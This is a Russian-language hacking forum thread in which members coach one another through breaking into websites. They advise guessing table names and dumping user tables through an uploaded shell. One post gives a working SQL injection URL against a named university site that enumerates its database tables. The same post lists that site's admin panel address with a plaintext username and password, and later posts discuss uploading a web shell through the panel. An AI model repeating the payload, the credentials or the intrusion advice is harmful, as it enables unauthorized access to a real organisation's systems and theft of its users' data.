Друзья, я был некорректен,
версия 4.1.* (information_schema - нет)
при попытке подбирать имя таблицы "TEST" сайт отвечает что не может найти таблицу "ABC.TEST".
вопрос был как раз про этот суффикс.
а еще подскажите как мне поможет шелл в добывании списка loginass пользователей сайта

Послушай ты чем читаешь? Тебе выше уже ответили, что не префикс это и не суффикс и не что то еще, это БД abc и в ней нет твоей таблицы!!!!!!!

Всё зависит от прав ...
Например если есть возможность прочитать файл конфига бд или сценарий имеющий в себе конф данные,появиться возможность попасть в бд сайта... Это только один из примеров.

Ну права это не проблема их и поднять можно...

Товарищ, это не суффикс, а имя базы, в которой находится таблица, из которой mysql пытается получить данные по твоему запросу.

Если он так отвечает, значит такой таблицы в данной базе не существует. Подбирай дальше, пробуй другие имен таблиц – users, user, members, admin и тп


Хорошо поможет. Можно даже сказать все сам сделает за тебя =) Сливай нужные таблицы через шелл

Ох как же вы задолбали своими загадками... Уважаемые, вся необходимая теория имеется в статьях и мануалах. А если вы тут вопрос задаете по конкретной уязвимости, то будьте добры ПОСТИТЬ ССЫЛКУ. Скоро мы тут все телепатами станем... Спасибо за внимание

самое интересное что после определенного интервала времени во всю трахая мозги, обычно выкладывают урлу.
З.Ы. Я думаю что у нас jokester полутелепат))

Вот скуля с таблицами..............
http://www.columbiasouthern.edu/facesofcsu/index.asp?id=-1'+or+1=(SELECT+TOP+1+TABLE_NAME+FRO

M+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+I N+('CourseInformation','Testimonials'

,'Corp_partner','States','Countries','Ad_Codes','A dminUsers','Affiliates','AppOnline','carthead','ca rtrows','CartRo

wsOptions','Categories','Categories_Products','cla sses','classes_and_text','Corp_partner_description ','Corp_pa

rtner_featured','Counselor','customer','D99_REG',' D99_Tmp','DiscOrder','DiscProd','dtproperties','En rollmentSe

ssion','Faces','Faculty','FORUM_A_REPLY'))--


http://www.columbiasouthern.edu/admin/
Username:admin
Password:csupride12

Как сюда шелл залить? ) Блин........может где нибудь ещё админка есть?

в чем проблема-то? Я в админке

Спасибо

Админка то админкой )) а шелл? Или я слепой? ))